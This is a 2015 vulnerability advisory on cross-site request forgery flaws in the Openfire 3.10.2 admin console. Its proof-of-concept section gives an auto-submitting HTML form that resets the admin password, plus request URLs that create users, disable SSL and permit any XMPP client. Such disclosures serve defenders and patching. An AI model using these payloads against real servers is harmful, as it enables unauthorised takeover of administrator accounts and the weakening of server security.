Openfire 3.10.2 CSRF Vulnerabilities

Type securityvulns
Reporter Securityvulns
Modified 2015-10-26T00:00:00


[+] Credits: hyp3rlinx

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Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber).

Vulnerability Type:

Cross site request forgery (CSRF)

CVE Reference:


Vulnerability Details:

No CSRF tokens exists allowing us to take malicious actions against the application.

1- change admin password.

2- add aribitrary users to the system

3- edit server settings e.g. turn off SSL.

4- Add rogue malicious clients with permit access (Allow all XMPP clients to connect)

and more...

Exploit code(s):

1) change admin password

<script> function doit(){ var e=document.getElementById('HELL') e.submit() } </script>

<form id="HELL" action="http://localhost:9090/user-password.jsp" method="post"> <input type="text" name="username" value="admin" > <input type="text" name="password" value="abc123"> <input type="text" name="passwordConfirm" value="abc123" > <input type="password" name="update" value="Update+Password" > </form>

2) add aribitrary users http://localhost:9090/user-create.jsp?username=hyp3rlinx&name=hyp3rlinx&

3) edit server settings & turn off SSL http://localhost:9090/server-props.jsp?serverName=myserver&sslEnabled=false&save=Save+Properties

4) add rogue malicious clients http://localhost:9090/plugins/clientcontrol/permitted-clients.jsp?all=false&other=http%3A//

Disclosure Timeline:

Vendor Notification: NA Sept 14, 2015 : Public Disclosure

Exploitation Technique:


Severity Level:



Request Method(s): [+] POST & GET

Vulnerable Product: [+] Openfire 3.10.2

Vulnerable Parameter(s): [+] update, create, sslEnabled, other

Affected Area(s): [+] Admin


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by hyp3rlinx